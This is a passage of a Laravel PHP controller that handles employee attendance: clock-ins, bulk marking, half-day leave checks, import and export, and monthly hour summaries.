= $clockIn->format('Y-m-d') . ' ' . $this->attendanceSettings->office_start_time; if (Carbon::parse($this->attendanceSettings->office_start_time)->gt(Carbon::parse($this->attendanceSettings->office_end_time))) { $shiftEndTime = $clockIn->addDay()->format('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time; } else { $shiftEndTime = $clockIn->format('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time; } if ($attendance && $request->user_id) { return Reply::error(__('messages.attendanceMarked')); } else { $attendances = Attendance::where('user_id', $request->user_id) ->whereBetween('clock_in_time', [$carbonDate->copy()->subDay(), $carbonDate->copy()->addDay()]) ->get(); $attendances = $attendances->filter(function ($item) use ($date) { return $item->clock_in_time->timezone($this->company->timezone)->format('Y-m-d') == $date; }); foreach ($attendances as $item) { if (!(!$item->clock_in_time->timezone($this->company->timezone)->lt($clockIn) && $item->clock_out_time->timezone($this->company->timezone)->gt($clockIn) && !$item->clock_in_time->timezone($this->company->timezone)->lt($clockOut))) { if (!($item->clock_out_time->timezone($this->company->timezone)->lt($clockIn))) { return Reply::error(__('messages.attendanceMarked')); } } } } if (!is_null($attendance) && !$request->user_id) { $attendance->update([ 'user_id' => $request->user_id, 'clock_in_time' => $clockIn->copy()->timezone(config('app.timezone')), 'clock_in_ip' => $request->clock_in_ip, 'clock_out_time' => $clockOut?->copy()->timezone(config('app.timezone')), 'clock_out_ip' => $request->clock_out_ip, 'working_from' => $request->working_from, 'location_id' => $request->location, 'work_from_type' => $request->work_from_type, 'employee_shift_id' => $employeeShiftId, 'shift_start_time' => $shiftStartTime, 'shift_end_time' => $shiftEndTime, 'late' => ($request->has('late')) ? 'yes' : 'no', 'half_day' => ($request->has('halfday')) ? 'yes' : 'no', 'half_day_type' => ($request->has('half_day_duration') && $request->has('halfday')) ? $request->half_day_duration : null ]); } else { $leave = Leave::where([ ['user_id', $request->user_id], ['leave_date', $request->attendance_date] ]) ->whereIn('duration', ['half day', 'single', 'multiple']) ->whereIn('status', ['approved', 'pending']) ->first(); if (isset($leave) && ( ($leave->duration == 'half day' && ($request->half_day_duration == $leave->half_day_type)) || ($leave->duration == 'single' || $leave->duration == 'multiple') )) { // if (isset($leave)) { $leave->update(['status' => 'rejected']); } // Check maximum attendance in a day if ($clockInCount < $this->attendanceSettings->clockin_in_day || $request->user_id) { Attendance::create([ 'user_id' => $request->user_id, 'clock_in_time' => $clockIn->copy()->timezone(config('app.timezone')), 'clock_in_ip' => $request->clock_in_ip, 'clock_out_time' => $clockOut?->copy()->timezone(config('app.timezone')), 'clock_out_ip' => $request->clock_out_ip, 'working_from' => $request->working_from, 'location_id' => $request->location, 'late' => ($request->has('late')) ? 'yes' : 'no', 'employee_shift_id' => $employeeShiftId, 'shift_start_time' => $shiftStartTime, 'shift_end_time' => $shiftEndTime, 'work_from_type' => $request->work_from_type, 'half_day' => ($request->has('halfday')) ? 'yes' : 'no', 'half_day_type' => ($request->has('half_day_duration') && $request->has('halfday')) ? $request->half_day_duration : null ]); } else { return Reply::error(__('messages.maxClockin')); } } return Reply::success(__('messages.attendanceSaveSuccess')); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function byMember() { $this->pageTitle = 'modules.attendance.attendanceByMember'; abort_403(!(in_array($this->viewAttendancePermission, ['all', 'added', 'owned', 'both']))); if ($this->viewAttendancePermission == 'owned') { $this->employees = User::where('id', user()->id)->get(); } else { $this->employees = User::allEmployees(null, false, ($this->viewAttendancePermission == 'all' ? 'all' : null)); } $now = now(); $this->year = $now->format('Y'); $this->month = $now->format('m'); return view('attendances.by_member', $this->data); } public function employeeData(Request $request, $startDate = null, $endDate = null, $userId = null) { // todo ::~ $ant = []; // Array For attendance Data indexed by similar date $dateWiseData = []; // Array For Combine Data $startDate = Carbon::createFromFormat('d-m-Y', '01-' . $request->month . '-' . $request->year)->startOfMonth()->startOfDay(); $endDate = $startDate->copy()->endOfMonth()->endOfDay(); $userId = $request->userId; $attendances = Attendance::userAttendanceByDate($startDate, $endDate, $userId); // Getting Attendance Data $holidays = Holiday::getHolidayByDates($startDate, $endDate, $userId); // Getting Holiday Data $userId = $request->userId; $totalWorkingDays = $startDate->daysInMonth; $totalWorkingDays = $totalWorkingDays - count($holidays); $daysPresent = Attendance::countDaysPresentByUser($startDate, $endDate, $userId); $daysLate = Attendance::countDaysLateByUser($startDate, $endDate, $userId); $halfDays = Attendance::countHalfDaysByUser($startDate, $endDate, $userId); $daysAbsent = (($totalWorkingDays - $daysPresent) < 0) ? '0' : ($totalWorkingDays - $daysPresent); $holidayCount = Count($holidays); // Getting Leaves Data $leavesDates = Leave::where('user_id', $userId) ->where('leave_date', '>=', $startDate) ->where('leave_date', '<=', $endDate) ->where('status', 'approved') ->select('leave_date', 'reason', 'duration') ->get()->keyBy('date')->toArray(); $holidayData = $holidays->keyBy('holiday_date'); $holidayArray = $holidayData->toArray(); // Set Date as index for same date clock-ins foreach ($attendances as $attand) { $clockInTime = Carbon::createFromFormat('Y-m-d H:i:s', $attand->clock_in_time->timezone(company()->timezone)->toDateTimeString(), 'UTC'); if (!is_null($attand->employee_shift_id)) { $shiftStartTime = Carbon::parse($clockInTime->copy()->toDateString() . ' ' . $attand->shift->office_start_time); $shiftEndTime = Carbon::parse($clockInTime->copy()->toDateString() . ' ' . $attand->shift->office_end_time); if ($shiftStartTime->gt($shiftEndTime)) { $shiftEndTime = $shiftEndTime->addDay(); } $shiftSchedule = EmployeeShiftSchedule::with('shift')->where('user_id', $attand->user_id)->where('date', $attand->clock_in_time->format('Y-m-d'))->first(); if (($shiftSchedule && $attand->employee_shift_id == $shiftSchedule->shift->id) || is_null($shiftSchedule)) { $ant[$clockInTime->copy()->toDateString()][] = $attand; // Set attendance Data indexed by similar date } elseif ($clockInTime->betweenIncluded($shiftStartTime, $shiftEndTime)) { $ant[$clockInTime->copy()->toDateString()][] = $attand; // Set attendance Data indexed by similar date } elseif ($clockInTime->betweenIncluded($shiftStartTime->copy()->subDay(), $shiftEndTime->copy()->subDay())) { $ant[$clockInTime->copy()->subDay()->toDateString()][] = $attand; // Set attendance Data indexed by previous date } } else { $ant[$attand->clock_in_date][] = $attand; // Set attendance Data indexed by similar date } } $shiftSchedules = EmployeeShiftSchedule::with('shift') ->select(DB::raw('DATE_FORMAT(date, "%Y-%m-%d") as day_off_date')) ->where('user_id', $userId) ->whereBetween('date', [$startDate, $endDate]) ->whereHas('shift', function ($query) { $query->where('shift_name', 'Day Off'); }) ->get(); $dayOffData = $shiftSchedules->keyBy('day_off_date'); $dayOffArray = $dayOffData->toArray(); // Set All Data in a single Array // @codingStandardsIgnoreStart for ($date = $endDate; $date->diffInDays($startDate) > 0; $date->subDay()) { // @codingStandardsIgnoreEnd if ($date->isPast() || $date->isToday()) { // Set default array for record $dateWiseData[$date->toDateString()] = [ 'holiday' => false, 'attendance' => false, 'leave' => false, 'day_off' => false ]; // Set Day Off Data if (array_key_exists($date->toDateString(), $dayOffArray)) { $dateWiseData[$date->toDateString()]['day_off'] = $dayOffData[$date->toDateString()]; } // Set Holiday Data if (array_key_exists($date->toDateString(), $holidayArray)) { $dateWiseData[$date->toDateString()]['holiday'] = $holidayData[$date->toDateString()]; } // Set Attendance Data if (array_key_exists($date->toDateString(), $ant)) { $dateWiseData[$date->toDateString()]['attendance'] = $ant[$date->toDateString()]; } // Set Leave Data if (array_key_exists($date->toDateString(), $leavesDates)) { $dateWiseData[$date->toDateString()]['leave'] = $leavesDates[$date->toDateString()]; } } } if ($startDate->isPast() || $startDate->isToday()) { // Set default array for record $dateWiseData[$startDate->toDateString()] = [ 'holiday' => false, 'attendance' => false, 'leave' => false, 'day_off' => false ]; // Set Day Off Data if (array_key_exists($date->toDateString(), $dayOffArray)) { $dateWiseData[$date->toDateString()]['day_off'] = $dayOffData[$date->toDateString()]; } // Set Holiday Data if (array_key_exists($startDate->toDateString(), $holidayArray)) { $dateWiseData[$startDate->toDateString()]['holiday'] = $holidayData[$startDate->toDateString()]; } // Set Attendance Data if (array_key_exists($startDate->toDateString(), $ant)) { $dateWiseData[$startDate->toDateString()]['attendance'] = $ant[$startDate->toDateString()]; } // Set Leave Data if (array_key_exists($startDate->toDateString(), $leavesDates)) { $dateWiseData[$startDate->toDateString()]['leave'] = $leavesDates[$startDate->toDateString()]; } } // Getting View data $view = view('attendances.ajax.user_attendance', ['dateWiseData' => $dateWiseData, 'global' => $this->company])->render(); return Reply::dataOnly(['status' => 'success', 'data' => $view, 'daysPresent' => $daysPresent, 'daysLate' => $daysLate, 'halfDays' => $halfDays, 'totalWorkingDays' => $totalWorkingDays, 'absentDays' => $daysAbsent, 'holidays' => $holidayCount]); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function create() { $addPermission = user()->permission('add_attendance'); abort_403(!($addPermission == 'all' || $addPermission == 'added')); $this->employees = User::allEmployees(null, true); $this->departments = Team::allDepartments(); $this->pageTitle = __('modules.attendance.markAttendance'); $this->year = now()->format('Y'); $this->month = now()->format('m'); $this->location = CompanyAddress::all(); $dateFormat = Company::DATE_FORMATS; $this->dateformat = (isset($dateFormat[$this->company->date_format])) ? $dateFormat[$this->company->date_format] : 'DD-MM-YYYY'; if ($addPermission == 'added') { $this->defaultAssign = user(); } else if (isset(request()->default_assign)) { $this->defaultAssign = User::with('roles', 'employeeDetail', 'employeeDetail.department')->findOrFail(request()->default_assign); } if (request()->ajax()) { $html = view('attendances.ajax.create', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'attendances.ajax.create'; return view('attendances.create', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function bulkMark(StoreBulkAttendance $request) { $employees = $request->user_id; $employeeData = User::withoutGlobalScope(ActiveScope::class) ->with('employeeDetail')->whereIn('id', $employees)->get(); $date = Carbon::createFromFormat('d-m-Y', '01-' . $request->month . '-' . $request->year)->format('Y-m-d'); $clockIn = Carbon::createFromFormat('Y-m-d ' . $this->company->time_format, $date . ' ' . $request->clock_in_time, $this->company->timezone); if ($request->clock_out_time != '') { $clockOut = Carbon::createFromFormat('Y-m-d ' . $this->company->time_format, $date . ' ' . $request->clock_out_time, $this->company->timezone); if ($clockIn->gt($clockOut) && !is_null($clockOut)) { $clockOut = $clockOut->addDay(); } } $period = []; if ($request->mark_attendance_by == 'month') { $startDate = Carbon::createFromFormat('d-m-Y', '01-' . $request->month . '-' . $request->year, $this->company->timezone)->startOfMonth(); $endDate = $startDate->copy()->endOfMonth(); } else { $dates = explode(',', $request->multi_date); if($this->company->date_format == 'd F, Y'){ $data = preg_match_all('/\d{1,2}\s\w+,\s\d{4}/', $request->multi_date, $dates); $dates = $dates[0]; } $startDate = Carbon::createFromFormat($this->company->date_format, trim($dates[0]), $this->company->timezone); $endDate = Carbon::createFromFormat($this->company->date_format, trim($dates[1]), $this->company->timezone); } $multiDates = CarbonPeriod::create($startDate, $endDate); $holidayError = false; $singleDatePeriod = $startDate->equalTo($endDate); foreach ($multiDates as $multiDate) { array_push($period, $multiDate); } $insertData = []; $currentDate = now($this->company->timezone); $showClockIn = AttendanceSetting::first(); foreach ($employees as $key => $userId) { $userData = $employeeData->where('id', $userId)->first(); if (request()->has('overwrite_attendance')) { Attendance::where('user_id', $userId) ->whereBetween('clock_in_time', [$startDate, $endDate]) ->delete(); } // Retrieve holidays based on employee details $holidaysForUser = Holiday::where(function ($query) use ($userData) { $query->where(function ($subquery) use ($userData) { $subquery->where(function ($q) use ($userData) { $q->where('department_id_json', 'like', '%"' . $userData->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }); $subquery->where(function ($q) use ($userData) { $q->where('designation_id_json', 'like', '%"' . $userData->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $subquery->where(function ($q) use ($userData) { $q->where('employment_type_json', 'like', '%"' . $userData->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); }); }); })->get()->pluck('date')->map(function ($date) { return $date->format('Y-m-d'); })->toArray(); foreach ($period as $date) { $leave = Leave::where([ ['user_id', $userId], ['leave_date', $date] ]) ->whereIn('duration', ['half day', 'single', 'multiple']) ->whereIn('status', ['approved', 'pending']) ->first(); if (isset($leave) && ( ($leave->duration == 'half day' && ($request->half_day_duration == $leave->half_day_type)) || ($leave->duration == 'single' || $leave->duration == 'multiple') )) { // if (isset($leave)) { $leave->update(['status' => 'rejected']); // if ($date->format('Y-m-d') == $leave->leave_date->format('Y-m-d') && is_null($leave->half_day_type)) { // continue; // } } $formattedDate = $date->format('Y-m-d'); $holiday = in_array($formattedDate, $holidaysForUser); if ($holiday) { if ($singleDatePeriod) { $holidayError = true; break; } continue; } $this->attendanceSettings = $this->attendanceShift($showClockIn, $userId, $date, $request->clock_in_time); $attendance = Attendance::where('user_id', $userId) ->where(DB::raw('DATE(`clock_in_time`)'), $date->format('Y-m-d')) ->first(); if (is_null($attendance) && $date->greaterThanOrEqualTo($userData->employeeDetail->joining_date) && $date->lessThanOrEqualTo($currentDate) && !$holiday && $this->attendanceSettings->shift_name != 'Day Off' ) { // Attendance should not exist for the user for the same date $clockIn = Carbon::createFromFormat('Y-m-d ' . $this->company->time_format, $date->format('Y-m-d') . ' ' . $request->clock_in_time, $this->company->timezone); $clockOut = Carbon::createFromFormat('Y-m-d ' . $this->company->time_format, $date->format('Y-m-d') . ' ' . $request->clock_out_time, $this->company->timezone); if ($clockIn->gt($clockOut) && !is_null($clockOut)) { $clockOut = $clockOut->addDay(); } $insertData[] = [ 'user_id' => $userId, 'company_id' => company()->id, 'clock_in_time' => $clockIn->copy()->timezone(config('app.timezone')), 'clock_in_ip' => request()->ip(), 'clock_out_time' => $clockOut?->copy()->timezone(config('app.timezone')), 'clock_out_ip' => request()->ip(), 'working_from' => $request->working_from, 'work_from_type' => $request->work_from_type, 'location_id' => $request->location, 'late' => $request->late, 'half_day' => $request->half_day, 'half_day_type' => ($request->has('half_day_duration') && $request->has('half_day')) ? $request->half_day_duration : null, 'added_by' => user()->id, 'employee_shift_id' => $this->attendanceSettings->id, 'overwrite_attendance' => request()->has('overwrite_attendance') ? $request->overwrite_attendance : 'no', 'last_updated_by' => user()->id ]; } } } if ($holidayError) { return Reply::error(__('messages.holidayError')); // Display error message } Attendance::insertOrIgnore($insertData); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('attendances.index'); } return Reply::redirect($redirectUrl, __('messages.attendanceSaveSuccess')); } public function checkHalfDay(Request $request) { $halfDayDurationEnded = null; // Yes ? not on half day & No ? on half day if ($request->type == 'bulkMark') { if($request->mark_attendance_by == 'date') { // multi_date: 16-04-2025,16-04-2025 $dates = explode(',', $request->multi_date); $startDate = Carbon::createFromFormat('d-m-Y', trim($dates[0]), $this->company->timezone); $endDate = Carbon::createFromFormat('d-m-Y', trim($dates[1]), $this->company->timezone); $dates = CarbonPeriod::create($startDate, $endDate); $dates = $dates->toArray(); }else{ $startDate = Carbon::createFromFormat('d-m-Y', '01-' . $request->month . '-' . $request->year)->startOfMonth(); $endDate = $startDate->copy()->endOfMonth(); $period = CarbonPeriod::create($startDate, $endDate); $dates = []; foreach ($period as $date) { $dates[] = $date; } } if ($request->has('user_id') && $request->user_id !== null) { $leaves = Leave::whereIn('user_id', $request->user_id) ->whereIn('leave_date', $dates) ->where('status', '!=', 'rejected') ->whereIn('duration', ['half day', 'single', 'multiple']) ->get(); } if (isset($leaves) && $leaves->isNotEmpty()) { foreach ($leaves as $leave) { if ($leave->duration === 'half day') { $userShifts = User::findOrFail($leave->user_id)->shifts()->whereDate('date', $leave->leave_date)->get(); if ($userShifts->isNotEmpty()) { $halfDayDurationEnded = $this->halfDayShiftCheck($leave, true, $userShifts); } else { $halfDayDurationEnded = $this->halfDayShiftCheck($leave, false); } } $halfDay = $leave->duration == 'half day' ? 'no' : 'yes'; $this->halfDayExist = $leave->duration == 'half day'; $this->requestedHalfDay = $halfDay; $this->halfDayDurEnd = $halfDayDurationEnded; $fullDay = ($leave->duration == 'single' || $leave->duration == 'multiple') ? 'no' : 'yes'; $this->fullDayExist = $leave->duration == 'single' || $leave->duration == 'multiple'; $this->requestedFullDay = $fullDay; $this->attendanceDuration = $request->half_day_duration; $this->leaveDuration = $leave->half_day_type; $this->user = $leave->user->name; } } return reply::dataOnly($this->data); } else { $leave = Leave::where([ ['user_id', $request->user_id], ['leave_date', $request->attendance_date] ])->where('status', '!=', 'rejected') ->whereIn('duration', ['half day', 'single', 'multiple'])->first(); if (isset($leave)) { if ($leave->duration === 'half day') { $userShifts = User::findOrFail($leave->user_id)->shifts()->whereDate('date', $leave->leave_date)->get(); if ($userShifts->isNotEmpty()) { $halfDayDurationEnded = $this->halfDayShiftCheck($leave, true, $userShifts); } else { $halfDayDurationEnded = $this->halfDayShiftCheck($leave, false); } } $halfDay = $leave->duration == 'half day' ? 'no' : 'yes'; $this->halfDayExist = $leave->duration == 'half day' ? true : false; $this->requestedHalfDay = $halfDay; $this->halfDayDurEnd = $halfDayDurationEnded; $fullDay = ($leave->duration == 'single' || $leave->duration == 'multiple') ? 'no' : 'yes'; $this->fullDayExist = ($leave->duration == 'single' || $leave->duration == 'multiple') ? true : false; $this->requestedFullDay = $fullDay; $this->attendanceDuration = $request->half_day_duration; $this->leaveDuration = $leave->half_day_type; $this->user = $leave->user->name; } return reply::dataOnly($this->data); } } public function halfDayShiftCheck($leave, $shiftFound, $userShifts = null) { if ($shiftFound) { foreach ($userShifts as $userShift) { $halfMarkTime = Carbon::createFromFormat('H:i:s', $userShift->shift->halfday_mark_time, $this->company->timezone); $currentTime = Carbon::now($this->company->timezone)->format('H:i:s'); $currentTimeCarbon = Carbon::createFromFormat('H:i:s', $currentTime, $this->company->timezone); if ($leave->half_day_type == 'first_half') { $halfDayDurationEnded = ($currentTimeCarbon->greaterThan($halfMarkTime)) ? 'yes' : 'no' ; } elseif ($leave->half_day_type == 'second_half') { $halfDayDurationEnded = ($currentTimeCarbon->lessThan($halfMarkTime)) ? 'yes' : 'no' ; } } }else{ $attendanceSetting = AttendanceSetting::first(); $defaultShiftId = $attendanceSetting->default_employee_shift; $defaultShift = EmployeeShift::findOrFail($defaultShiftId); $halfMarkTime = Carbon::createFromFormat('H:i:s', $defaultShift->halfday_mark_time, $this->company->timezone); $currentTime = Carbon::now($this->company->timezone)->format('H:i:s'); $currentTimeCarbon = Carbon::createFromFormat('H:i:s', $currentTime, $this->company->timezone); if ($leave->half_day_type == 'first_half') { $halfDayDurationEnded = ($currentTimeCarbon->greaterThan($halfMarkTime)) ? 'yes' : 'no' ; } elseif ($leave->half_day_type == 'second_half' && $currentTimeCarbon->lessThan($halfMarkTime)) { $halfDayDurationEnded = ($currentTimeCarbon->lessThan($halfMarkTime)) ? 'yes' : 'no' ; } } return $halfDayDurationEnded; } public function destroy($id) { $attendance = Attendance::findOrFail($id); $deleteAttendancePermission = user()->permission('delete_attendance'); abort_403(!($deleteAttendancePermission == 'all' || ($deleteAttendancePermission == 'added' && $attendance->added_by == user()->id))); Attendance::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function importAttendance() { $this->pageTitle = __('app.importExcel') . ' ' . __('app.menu.attendance'); $addPermission = user()->permission('add_attendance'); abort_403(!($addPermission == 'all' || $addPermission == 'added')); if (request()->ajax()) { $html = view('attendances.ajax.import', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'attendances.ajax.import'; return view('attendances.create', $this->data); } public function importStore(ImportRequest $request) { $rvalue = $this->importFileProcess($request, AttendanceImport::class); if($rvalue == 'abort'){ return Reply::error(__('messages.abortAction')); } $view = view('attendances.ajax.import_progress', $this->data)->render(); return Reply::successWithData(__('messages.importUploadSuccess'), ['view' => $view]); } public function importProcess(ImportProcessRequest $request) { $batch = $this->importJobProcess($request, AttendanceImport::class, ImportAttendanceJob::class); return Reply::successWithData(__('messages.importProcessStart'), ['batch' => $batch]); } public function exportAttendanceByMember($year, $month, $id) { abort_403(!canDataTableExport()); $startDate = Carbon::createFromFormat('d-m-Y', '01-' . $month . '-' . $year)->startOfMonth()->startOfDay(); $endDate = $startDate->copy()->endOfMonth()->endOfDay(); $obj = User::findOrFail($id); $date = $endDate->lessThan(now()) ? $endDate : now(); return Excel::download(new AttendanceByMemberExport($year, $month, $id, $obj->name, $startDate, $endDate), $obj->name . '_' . $startDate->format('d-m-Y') . '_To_' . $date->format('d-m-Y') . '.xlsx'); } public function exportAllAttendance($year, $month, $id, $department, $designation) { abort_403(!canDataTableExport()); $startDate = Carbon::createFromFormat('d-m-Y', '01-' . $month . '-' . $year)->startOfMonth()->startOfDay(); $endDate = $startDate->copy()->endOfMonth()->endOfDay(); $date = $endDate->lessThan(now()) ? $endDate : now(); return Excel::download(new AttendanceExport($year, $month, $id, $department, $designation, $startDate, $endDate), 'Attendance_From_' . $startDate->format('d-m-Y') . '_To_' . $date->format('d-m-Y') . '.xlsx'); } public function byHour(Request $request) { $this->pageTitle = 'modules.attendance.attendanceByHour'; abort_403(!(in_array($this->viewAttendancePermission, ['all', 'added', 'owned', 'both']))); if (request()->ajax()) { return $this->hourSummaryData($request); } $users = User::with('employeeDetails')->join('employee_details', 'users.id', '=', 'employee_details.user_id'); if ($this->viewAttendancePermission == 'owned') { $this->employees = $users->where(function ($query) { $query->where('employee_details.user_id', user()->id); })->get(); } elseif ($this->viewAttendancePermission == 'added') { $this->employees = $users->where(function ($query) { $query->where('employee_details.added_by', user()->id); })->get(); } elseif ($this->viewAttendancePermission == 'both') { $this->employees = $users->where(function ($query) { $query->where('employee_details.user_id', user()->id) ->orWhere('employee_details.added_by', user()->id); })->get(); } elseif ($this->viewAttendancePermission == 'all') { $this->employees = User::allEmployees(null, false, ($this->viewAttendancePermission == 'all' ? 'all' : null)); } $now = now(company()->timezone); $this->year = $now->format('Y'); $this->month = $now->format('m'); $this->departments = Team::all(); $this->designations = Designation::all(); return view('attendances.by_hour', $this->data); } public function hourSummaryData($request) { $employees = User::with( [ 'employeeDetail.designation:id,name', 'attendance' => function ($query) use ($request) { $query->whereRaw('MONTH(attendances.clock_in_time) = ?', [$request->month]) ->whereRaw('YEAR(attendances.clock_in_time) = ?', [$request->year]); if ($this->viewAttendancePermission == 'added') { $query->where('attendances.added_by', user()->id); } elseif ($this->viewAttendancePermission == 'owned') { $query->where('attendances.user_id', user()->id); } }, 'leaves' => function ($query) use ($request) { $query->whereRaw('MONTH(leaves.leave_date) = ?', [$request->month]) ->whereRaw('YEAR(leaves.leave_date) = ?', [$request->year]) ->where('status', 'approved'); }, 'shifts' => function ($query) use ($request) { $query->whereRaw('MONTH(employee_shift_schedules.date) = ?', [$request->month]) ->whereRaw('YEAR(employee_shift_schedules.date) = ?', [$request->year]); }, 'leaves.type', 'shifts.shift'] )->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->select('users.id', 'users.name','users.inactive_date', 'users.email', 'users.created_at', 'employee_details.department_id', 'users.image') ->onlyEmployee()->withoutGlobalScope(ActiveScope::class) ->where(function ($query) use ($request) { $query->whereNull('users.inactive_date') ->orWhere(function ($subQuery) use ($request) { $subQuery->whereRaw('YEAR(users.inactive_date) >= ?', [$request->year]) ->whereRaw('MONTH(users.inactive_date) >= ?', [$request->month]); }); }) ->groupBy('users.id'); if ($request->department != 'all') { $employees = $employees->where('employee_details.department_id', $request->department); } if ($request->designation != 'all') { $employees = $employees->where('employee_details.designation_id', $request->designation); } if ($request->userId != 'all') { $employees = $employees->where('users.id', $request->userId); } if ($this->viewAttendancePermission == 'owned') { $employees = $employees->where('users.id', user()->id); } elseif ($this->viewAttendancePermission == 'both') { $employees = $employees->where('employee_details.user_id', user()->id) ->orWhere('employee_details.added_by', user()->id); } elseif ($this->viewAttendancePermission == 'added') { $employees = $employees->where('employee_details.added_by', user()->id); } $employees = $employees->get(); $this->holidays = Holiday::whereRaw('MONTH(holidays.date) = ?', [$request->month])->whereRaw('YEAR(holidays.date) = ?', [$request->year])->get(); $final = []; $holidayOccasions = []; $total = []; $leaveReasons = []; $this->daysInMonth = Carbon::parse('01-' . $request->month . '-' . $request->year)->daysInMonth; $now = now()->timezone($this->company->timezone); $requestedDate = Carbon::parse(Carbon::parse('01-' . $request->month . '-' . $request->year))->endOfMonth(); foreach ($employees as $count => $employee) { $dataBeforeJoin = null; $dataTillToday = array_fill(1, $now->copy()->format('d'), 'Absent'); $dataTillRequestedDate = array_fill(1, (int)$this->daysInMonth, 'Absent'); $daysTofill = ((int)$this->daysInMonth - (int)$now->copy()->format('d')); if (($now->copy()->format('d') != $this->daysInMonth) && !$requestedDate->isPast()) { $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), (($daysTofill >= 0 ? $daysTofill : 0)), '-'); } else { $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), (($daysTofill >= 0 ? $daysTofill : 0)), 'Absent'); } if (!$requestedDate->isPast()) { $final[$employee->id . '#' . $employee->name] = array_replace($dataTillToday, $dataFromTomorrow); } else { $final[$employee->id . '#' . $employee->name] = array_replace($dataTillRequestedDate, $dataFromTomorrow); } $totalMinutes = 0; $previousdate = null; foreach ($employee->shifts as $shifts) { if ($shifts->shift->shift_name == 'Day Off') { $final[$employee->id . '#' . $employee->name][$shifts->date->day] = 'Day Off'; } } foreach ($employee->attendance as $index => $attendance) { $from = $attendance->clock_in_time?->timezone(company()->timezone); $defaultEndDateAndTime = Carbon::createFromFormat('Y-m-d H:i:s', $from?->format('Y-m-d') . ' ' . attendance_setting()->shift->office_end_time, company()->timezone); $to = $attendance->clock_out_time ?: $defaultEndDateAndTime; // totalTime() function is used to calculate the total time of an employee on particular date $diffInMins = ($to && $from) ? $attendance->totalTime($from, $to, $employee->id, 'm') : 0; // previous date is used to store the previous date of an attendance, so that we can calculate the total time of an employee on particular date if ($index == 0) { $previousdate = $from->format('Y-m-d'); $totalMinutes += $diffInMins; } elseif ($previousdate != $from->format('Y-m-d')) { $totalMinutes += $diffInMins; $previousdate = $from->format('Y-m-d'); } if($diffInMins === 0){ $mins = $totalMinutes; }else{ $mins = $diffInMins; } $final[$employee->id . '#' . $employee->name][Carbon::parse($attendance->clock_in_time)->timezone($this->company->timezone)->day] = '' . intdiv($mins, 60) . ':' . ($mins % 60) . ''; } // Convert minutes to hours /** @phpstan-ignore-next-line */ $resultTotalTime = CarbonInterval::formatHuman($totalMinutes); $total[$count] = $resultTotalTime; $emplolyeeName = view('components.employee', [ 'user' => $employee ]); $final[$employee->id . '#' . $employee->name][] = $emplolyeeName; if ($employee->employeeDetail->joining_date->greaterThan(Carbon::parse(Carbon::parse('01-' . $request->month . '-' . $request->year)))) { if ($request->month == $employee->employeeDetail->joining_date->format('m') && $request->year == $employee->employeeDetail->joining_date->format('Y')) { if ($employee->employeeDetail->joining_date->format('d') == '01') { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->format('d'), '-'); } else { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->subDay()->format('d'), '-'); } } if (($request->month < $employee->employeeDetail->joining_date->format('m') && $request->year == $employee->employeeDetail->joining_date->format('Y')) || $request->year < $employee->employeeDetail->joining_date->format('Y')) { $dataBeforeJoin = array_fill(1, $this->daysInMonth, '-'); } } if (Carbon::parse('01-' . $request->month . '-' . $request->year)->isFuture()) { $dataBeforeJoin = array_fill(1, $this->daysInMonth, '-'); } if (!is_null($dataBeforeJoin)) { $final[$employee->id . '#' . $employee->name] = array_replace($final[$employee->id . '#' . $employee->name], $dataBeforeJoin); } foreach ($employee->leaves as $leave) { if ($leave->duration == 'half day') { if ($final[$employee->id . '#' . $employee->name][$leave->leave_date->day] == '-' || $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] == 'Absent') { $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] = 'Half Day'; } } else { $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] = 'Leave'; $leaveReasons[$employee->id][$leave->leave_date->day] = $leave->type->type_name . ': ' . $leave->reason; } } foreach ($employee->shifts as $shifts) { if ($shifts->shift->shift_name == 'Day Off') { $final[$employee->id . '#' . $employee->name][$shifts->date->day] = 'Day Off'; } } foreach ($this->holidays as $holiday) { $departmentId = $employee->employeeDetail->department_id; $designationId = $employee->employeeDetail->designation_id; $employmentType = $employee->employeeDetail->employment_type; $holidayDepartment = (!is_null($holiday->department_id_json)) ? json_decode($holiday->department_id_json) : []; $holidayDesignation = (!is_null($holiday->designation_id_json)) ? json_decode($holiday->designation_id_json) : []; $holidayEmploymentType = (!is_null($holiday->employment_type_json)) ? json_decode($holiday->employment_type_json) : []; if (((in_array($departmentId, $holidayDepartment) || $holiday->department_id_json == null) && (in_array($designationId, $holidayDesignation) || $holiday->designation_id_json == null) && (in_array($employmentType, $holidayEmploymentType) || $holiday->employment_type_json == null)) ) { if ($final[$employee->id . '#' . $employee->name][$holiday->date->day] == 'Absent' || $final[$employee->id . '#' . $employee->name][$holiday->date->day] == '-') { $final[$employee->id . '#' . $employee->name][$holiday->date->day] = 'Holiday'; $holidayOccasions[$holiday->date->day] = $holiday->occassion; } } } } $this->employeeAttendence = $final; $this->holidayOccasions = $holidayOccasions; $this->total = $total; $this->month = $request->month; $this->year = $request->year; $this->leaveReasons = $leaveReasons; $view = view('attendances.ajax.hour_summary_data', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'data' => $view]); } public function byMapLocation(Request $request) { abort_403(!(in_array($this->viewAttendancePermission, ['all', 'added', 'owned', 'both']))); if (request()->ajax()) { return $this->byMapLocationData($request); } $this->employees = User::allEmployees(null, true, 